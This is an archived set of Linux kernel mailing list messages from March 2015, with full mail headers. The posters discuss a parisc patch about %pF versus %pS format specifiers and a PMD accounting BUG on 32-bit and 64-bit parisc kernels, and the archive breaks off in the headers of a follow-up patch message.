Xref: news.gmane.org gmane.linux.kernel:1907168 gmane.linux.ports.parisc:25646
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1907168>

On Thu, 2015-03-12 at 08:11 -0400, James Bottomley wrote:
> On Wed, 2015-03-11 at 22:13 -0500, Scott Wood wrote:
> > Use %pS for actual addresses, otherwise you'll get bad output
> > on arches like ppc64 where %pF expects a function descriptor.  Even on
> > other architectures, refrain from setting a bad example that people
> > copy.
> 
> Are you sure about this?  Parisc64 is a function description
> architecture.  There may be a misunderstanding about what
> __builtin_return_address(0) is supposed to return, but I'm certain the
> person who added the code thought it returned a function pointer, which
> on parisc64 would be a descriptor.

I wasn't aware that parisc64 used descriptors, but I don't see how you'd
get one out of __builtin_return_address(0) since it's not usually a
function entry point (plus, GCC documents it as returning void *).

-Scott



From - Thu Nov 08 21:37:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 14/22] parisc: %pF is only for function pointers
Date: Thu, 12 Mar 2015 14:04:41 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <1426183481.2146.80.camel@HansenPartnership.com>
References: <1426130037-17956-1-git-send-email-scottwood@freescale.com>
	 <1426130037-17956-14-git-send-email-scottwood@freescale.com>
	 <1426162282.2146.77.camel@HansenPartnership.com>
	 <1426176869.30327.113.camel@freescale.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1426183502 4404 80.91.229.3 (12 Mar 2015 18:05:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 12 Mar 2015 18:05:02 +0000 (UTC)
Cc: trivial@kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Scott Wood <scottwood@freescale.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 12 19:04:46 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YW7TR-0002d6-Ku
	for glpp-linux-parisc@plane.gmane.org; Thu, 12 Mar 2015 19:04:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755045AbbCLSEo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 12 Mar 2015 14:04:44 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:43665 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755016AbbCLSEn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 12 Mar 2015 14:04:43 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5A42E8EE0BA;
	Thu, 12 Mar 2015 11:04:43 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ttAOcKYNY2kZ; Thu, 12 Mar 2015 11:04:43 -0700 (PDT)
Original-Received: from [10.71.7.81] (unknown [40.139.179.11])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 7CEE88EE03A;
	Thu, 12 Mar 2015 11:04:42 -0700 (PDT)
In-Reply-To: <1426176869.30327.113.camel@freescale.com>
X-Mailer: Evolution 3.12.9 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25647 gmane.linux.kernel:1907261
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25647>

On Thu, 2015-03-12 at 11:14 -0500, Scott Wood wrote:
> On Thu, 2015-03-12 at 08:11 -0400, James Bottomley wrote:
> > On Wed, 2015-03-11 at 22:13 -0500, Scott Wood wrote:
> > > Use %pS for actual addresses, otherwise you'll get bad output
> > > on arches like ppc64 where %pF expects a function descriptor.  Even on
> > > other architectures, refrain from setting a bad example that people
> > > copy.
> > 
> > Are you sure about this?  Parisc64 is a function description
> > architecture.  There may be a misunderstanding about what
> > __builtin_return_address(0) is supposed to return, but I'm certain the
> > person who added the code thought it returned a function pointer, which
> > on parisc64 would be a descriptor.
> 
> I wasn't aware that parisc64 used descriptors, but I don't see how you'd
> get one out of __builtin_return_address(0) since it's not usually a
> function entry point (plus, GCC documents it as returning void *).

I was more thinking that this message is printed for every boot with a
superio chip (which is a lot of our boxes).  How come no-one has
complained on parisc64 if it's doing the wrong thing.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: BUG: non-zero nr_pmds on freeing mm: -1
Date: Thu, 12 Mar 2015 21:35:56 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20150312193556.GE587@fuloong-minipc.musicnaut.iki.fi>
References: <BLU436-SMTP11459F3D9DC424BE50626A797190@phx.gbl>
 <CADjby3WS3cJs2BOmYT4Cdr4i9FncD=BYjrkuQiBH3=VmOndRPw@mail.gmail.com>
 <BLU436-SMTP234E13E9344CBB4D18CEB0D97190@phx.gbl>
 <CAFk90B8ZRnte0K-r8EBacx_WEEEL4fpTLkkVVgj42s1HO6QhFA@mail.gmail.com>
 <BLU436-SMTP233C66DF7A4433DBEA2897997060@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1426189008 15131 80.91.229.3 (12 Mar 2015 19:36:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 12 Mar 2015 19:36:48 +0000 (UTC)
Cc: Graham Gower <graham.gower@gmail.com>,
	Domenico Andreoli <cavokz@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	kirill@shutemov.name
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 12 20:36:37 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YW8uK-0005AE-Ld
	for glpp-linux-parisc@plane.gmane.org; Thu, 12 Mar 2015 20:36:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755160AbbCLTgf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 12 Mar 2015 15:36:35 -0400
Original-Received: from filtteri1.pp.htv.fi ([213.243.153.184]:37429 "EHLO
	filtteri1.pp.htv.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755859AbbCLTgD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 12 Mar 2015 15:36:03 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri1.pp.htv.fi (Postfix) with ESMTP id 656E621B8D2;
	Thu, 12 Mar 2015 21:36:01 +0200 (EET)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp5.welho.com ([213.243.153.39])
	by localhost (filtteri1.pp.htv.fi [213.243.153.184]) (amavisd-new, port 10024)
	with ESMTP id nBgHl1uBNx32; Thu, 12 Mar 2015 21:35:57 +0200 (EET)
Original-Received: from fuloong-minipc (91-145-91-118.bb.dnainternet.fi [91.145.91.118])
	by smtp5.welho.com (Postfix) with ESMTP id 2F1125BC004;
	Thu, 12 Mar 2015 21:35:57 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <BLU436-SMTP233C66DF7A4433DBEA2897997060@phx.gbl>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25648
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25648>

Hi,

On Wed, Mar 11, 2015 at 08:21:35PM -0400, John David Anglin wrote:
> On 2015-03-11, at 7:31 PM, Graham Gower wrote:
> > I thought this patch was supposed to address the problem?
> > https://lkml.org/lkml/2015/2/26/230
> > 
> > However, its not fixed it for me either in 4.0.0-rc3.
> 
> I doubt the patch is correct for parisc. I believe the system where
> I saw the BUG messages has PT_NLEVELS == 3.

For 32-bit kernels, the fix helped.

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 14/22] parisc: %pF is only for function pointers
Date: Thu, 12 Mar 2015 21:48:20 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20150312194820.GF587@fuloong-minipc.musicnaut.iki.fi>
References: <1426130037-17956-1-git-send-email-scottwood@freescale.com>
 <1426130037-17956-14-git-send-email-scottwood@freescale.com>
 <1426162282.2146.77.camel@HansenPartnership.com>
 <1426176869.30327.113.camel@freescale.com>
 <1426183481.2146.80.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1426189730 27636 80.91.229.3 (12 Mar 2015 19:48:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 12 Mar 2015 19:48:50 +0000 (UTC)
Cc: Scott Wood <scottwood@freescale.com>, trivial@kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 12 20:48:38 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YW95x-00088f-OD
	for glpp-linux-parisc@plane.gmane.org; Thu, 12 Mar 2015 20:48:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755895AbbCLTsb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 12 Mar 2015 15:48:31 -0400
Original-Received: from filtteri5.pp.htv.fi ([213.243.153.188]:38889 "EHLO
	filtteri5.pp.htv.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755881AbbCLTs2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 12 Mar 2015 15:48:28 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri5.pp.htv.fi (Postfix) with ESMTP id 8CF875A6F74;
	Thu, 12 Mar 2015 21:48:15 +0200 (EET)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp6.welho.com ([213.243.153.40])
	by localhost (filtteri5.pp.htv.fi [213.243.153.188]) (amavisd-new, port 10024)
	with ESMTP id 4LfPdmeBKHyJ; Thu, 12 Mar 2015 21:48:10 +0200 (EET)
Original-Received: from fuloong-minipc (91-145-91-118.bb.dnainternet.fi [91.145.91.118])
	by smtp6.welho.com (Postfix) with ESMTP id E7F4A5BC003;
	Thu, 12 Mar 2015 21:48:20 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <1426183481.2146.80.camel@HansenPartnership.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25649 gmane.linux.kernel:1907409
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25649>

Hi,

On Thu, Mar 12, 2015 at 02:04:41PM -0400, James Bottomley wrote:
> On Thu, 2015-03-12 at 11:14 -0500, Scott Wood wrote:
> > On Thu, 2015-03-12 at 08:11 -0400, James Bottomley wrote:
> > > On Wed, 2015-03-11 at 22:13 -0500, Scott Wood wrote:
> > > > Use %pS for actual addresses, otherwise you'll get bad output
> > > > on arches like ppc64 where %pF expects a function descriptor.  Even on
> > > > other architectures, refrain from setting a bad example that people
> > > > copy.
> > > 
> > > Are you sure about this?  Parisc64 is a function description
> > > architecture.  There may be a misunderstanding about what
> > > __builtin_return_address(0) is supposed to return, but I'm certain the
> > > person who added the code thought it returned a function pointer, which
> > > on parisc64 would be a descriptor.
> > 
> > I wasn't aware that parisc64 used descriptors, but I don't see how you'd
> > get one out of __builtin_return_address(0) since it's not usually a
> > function entry point (plus, GCC documents it as returning void *).
> 
> I was more thinking that this message is printed for every boot with a
> superio chip (which is a lot of our boxes).  How come no-one has
> complained on parisc64 if it's doing the wrong thing.

It's dead code behind #ifdef DEBUG_SUPERIO_INIT.

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: BUG: non-zero nr_pmds on freeing mm: -1
Date: Thu, 12 Mar 2015 15:51:11 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <BLU436-SMTP114E0E2B73148E5EE40047897060@phx.gbl>
References: <BLU436-SMTP11459F3D9DC424BE50626A797190@phx.gbl> <CADjby3WS3cJs2BOmYT4Cdr4i9FncD=BYjrkuQiBH3=VmOndRPw@mail.gmail.com> <BLU436-SMTP234E13E9344CBB4D18CEB0D97190@phx.gbl> <CAFk90B8ZRnte0K-r8EBacx_WEEEL4fpTLkkVVgj42s1HO6QhFA@mail.gmail.com> <BLU436-SMTP233C66DF7A4433DBEA2897997060@phx.gbl> <20150312193556.GE587@fuloong-minipc.musicnaut.iki.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="windows-1252"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1426189939 30925 80.91.229.3 (12 Mar 2015 19:52:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 12 Mar 2015 19:52:19 +0000 (UTC)
Cc: Graham Gower <graham.gower@gmail.com>,
	Domenico Andreoli <cavokz@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	kirill@shutemov.name
To: Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 12 20:52:10 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YW99N-00038J-FS
	for glpp-linux-parisc@plane.gmane.org; Thu, 12 Mar 2015 20:52:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755437AbbCLTwI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 12 Mar 2015 15:52:08 -0400
Original-Received: from blu004-omc4s4.hotmail.com ([65.55.111.143]:58716 "EHLO
	BLU004-OMC4S4.hotmail.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752346AbbCLTwH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 12 Mar 2015 15:52:07 -0400
Original-Received: from BLU436-SMTP114 ([65.55.111.136]) by BLU004-OMC4S4.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Thu, 12 Mar 2015 12:51:14 -0700
X-TMN: [YzMHj54qF+DwwS5dBs6Nxxs9a4J1E24f]
X-Originating-Email: [dave.anglin@bell.net]
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Thunderbird/31.5.0
In-Reply-To: <20150312193556.GE587@fuloong-minipc.musicnaut.iki.fi>
X-OriginalArrivalTime: 12 Mar 2015 19:51:13.0402 (UTC) FILETIME=[E51BA5A0:01D05CFD]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25650
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25650>

On 2015-03-12 3:35 PM, Aaro Koskinen wrote:
> Hi,
>
> On Wed, Mar 11, 2015 at 08:21:35PM -0400, John David Anglin wrote:
>> On 2015-03-11, at 7:31 PM, Graham Gower wrote:
>>> I thought this patch was supposed to address the problem?
>>> https://lkml.org/lkml/2015/2/26/230
>>>
>>> However, its not fixed it for me either in 4.0.0-rc3.
>> I doubt the patch is correct for parisc. I believe the system where
>> I saw the BUG messages has PT_NLEVELS == 3.
> For 32-bit kernels, the fix helped.
32-bit kernels have PT_NLEVELS == 2.  I think the define needs to be 
moved outside #if/#endif
but didn't get a chance to test last night.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: BUG: non-zero nr_pmds on freeing mm: -1
Date: Thu, 12 Mar 2015 22:15:35 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20150312201535.GG587@fuloong-minipc.musicnaut.iki.fi>
References: <BLU436-SMTP11459F3D9DC424BE50626A797190@phx.gbl>
 <CADjby3WS3cJs2BOmYT4Cdr4i9FncD=BYjrkuQiBH3=VmOndRPw@mail.gmail.com>
 <BLU436-SMTP234E13E9344CBB4D18CEB0D97190@phx.gbl>
 <CAFk90B8ZRnte0K-r8EBacx_WEEEL4fpTLkkVVgj42s1HO6QhFA@mail.gmail.com>
 <BLU436-SMTP233C66DF7A4433DBEA2897997060@phx.gbl>
 <20150312193556.GE587@fuloong-minipc.musicnaut.iki.fi>
 <BLU436-SMTP114E0E2B73148E5EE40047897060@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1426191356 22430 80.91.229.3 (12 Mar 2015 20:15:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 12 Mar 2015 20:15:56 +0000 (UTC)
Cc: Graham Gower <graham.gower@gmail.com>,
	Domenico Andreoli <cavokz@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	kirill@shutemov.name
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 12 21:15:45 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YW9WA-000896-Ir
	for glpp-linux-parisc@plane.gmane.org; Thu, 12 Mar 2015 21:15:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754098AbbCLUPl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 12 Mar 2015 16:15:41 -0400
Original-Received: from filtteri5.pp.htv.fi ([213.243.153.188]:57388 "EHLO
	filtteri5.pp.htv.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754037AbbCLUPl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 12 Mar 2015 16:15:41 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri5.pp.htv.fi (Postfix) with ESMTP id 75BA45A7037;
	Thu, 12 Mar 2015 22:15:29 +0200 (EET)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp6.welho.com ([213.243.153.40])
	by localhost (filtteri5.pp.htv.fi [213.243.153.188]) (amavisd-new, port 10024)
	with ESMTP id a5pXM+iSYtYt; Thu, 12 Mar 2015 22:15:25 +0200 (EET)
Original-Received: from fuloong-minipc (91-145-91-118.bb.dnainternet.fi [91.145.91.118])
	by smtp6.welho.com (Postfix) with ESMTP id 9BC6B5BC005;
	Thu, 12 Mar 2015 22:15:35 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <BLU436-SMTP114E0E2B73148E5EE40047897060@phx.gbl>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25651
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25651>

Hi,

On Thu, Mar 12, 2015 at 03:51:11PM -0400, John David Anglin wrote:
> On 2015-03-12 3:35 PM, Aaro Koskinen wrote:
> >On Wed, Mar 11, 2015 at 08:21:35PM -0400, John David Anglin wrote:
> >>On 2015-03-11, at 7:31 PM, Graham Gower wrote:
> >>>I thought this patch was supposed to address the problem?
> >>>https://lkml.org/lkml/2015/2/26/230
> >>>
> >>>However, its not fixed it for me either in 4.0.0-rc3.
> >>I doubt the patch is correct for parisc. I believe the system where
> >>I saw the BUG messages has PT_NLEVELS == 3.
> >For 32-bit kernels, the fix helped.
> 32-bit kernels have PT_NLEVELS == 2.  I think the define needs to be moved
> outside #if/#endif
> but didn't get a chance to test last night.

Not sure if that would be correct. The fix disabled PMD accounting
on 32-bit kernels because that level does not exist, but on
64-bit you probably would need it? Maybe your bug is different.
Does it occur on every process exit, or just occasionally?
(On 32-bit every exit triggered it.)

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: BUG: non-zero nr_pmds on freeing mm: -1
Date: Thu, 12 Mar 2015 16:47:50 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <BLU437-SMTP580223CCACC748AB4A6A8897060@phx.gbl>
References: <BLU436-SMTP11459F3D9DC424BE50626A797190@phx.gbl> <CADjby3WS3cJs2BOmYT4Cdr4i9FncD=BYjrkuQiBH3=VmOndRPw@mail.gmail.com> <BLU436-SMTP234E13E9344CBB4D18CEB0D97190@phx.gbl> <CAFk90B8ZRnte0K-r8EBacx_WEEEL4fpTLkkVVgj42s1HO6QhFA@mail.gmail.com> <BLU436-SMTP233C66DF7A4433DBEA2897997060@phx.gbl> <20150312193556.GE587@fuloong-minipc.musicnaut.iki.fi> <BLU436-SMTP114E0E2B73148E5EE40047897060@phx.gbl> <20150312201535.GG587@fuloong-minipc.musicnaut.iki.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="windows-1252"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1426193286 24110 80.91.229.3 (12 Mar 2015 20:48:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 12 Mar 2015 20:48:06 +0000 (UTC)
Cc: Graham Gower <graham.gower@gmail.com>,
	Domenico Andreoli <cavokz@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	kirill@shutemov.name
To: Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 12 21:47:58 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YWA1K-0003Ak-F9
	for glpp-linux-parisc@plane.gmane.org; Thu, 12 Mar 2015 21:47:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752460AbbCLUry (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 12 Mar 2015 16:47:54 -0400
Original-Received: from blu004-omc4s28.hotmail.com ([65.55.111.167]:53735 "EHLO
	BLU004-OMC4S28.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752582AbbCLUrx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 12 Mar 2015 16:47:53 -0400
Original-Received: from BLU437-SMTP58 ([65.55.111.137]) by BLU004-OMC4S28.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Thu, 12 Mar 2015 13:47:53 -0700
X-TMN: [rc2J+x9LSS6lSbwCCdWIimD25xC+vubA]
X-Originating-Email: [dave.anglin@bell.net]
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Thunderbird/31.5.0
In-Reply-To: <20150312201535.GG587@fuloong-minipc.musicnaut.iki.fi>
X-OriginalArrivalTime: 12 Mar 2015 20:47:51.0822 (UTC) FILETIME=[CEB962E0:01D05D05]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25652
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25652>

On 2015-03-12 4:15 PM, Aaro Koskinen wrote:
> Not sure if that would be correct. The fix disabled PMD accounting
> on 32-bit kernels because that level does not exist, but on
> 64-bit you probably would need it? Maybe your bug is different.
> Does it occur on every process exit, or just occasionally?
> (On 32-bit every exit triggered it.)
I would guess it occurs on every process exit.  Note it is mm -1 which I 
didn't see in any
of the other messages that I looked at.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Scott Wood <scottwood@freescale.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v2 14/22] parisc: %pf is only for function pointers
Date: Thu, 12 Mar 2015 16:46:00 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <1426196761-4891-2-git-send-email-scottwood@freescale.com>
References: <1426196761-4891-1-git-send-email-scottwood@freescale.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1426196826 22990 80.91.229.3 (12 Mar 2015 21:47:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 12 Mar 2015 21:47:06 +0000 (UTC)
Cc: Scott Wood <scottwood@freescale.com>,
	<linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: <trivial@kernel.org>, <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Mar 12 22:46:59 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YWAwU-0002l4-If
	for glk-linux-kernel-3@plane.gmane.org; Thu, 12 Mar 2015 22:46:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756217AbbCLVqx (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 12 Mar 2015 17:46:53 -0400
Original-Received: from mail-by2on0132.outbound.protection.outlook.com ([207.46.100.132]:53282
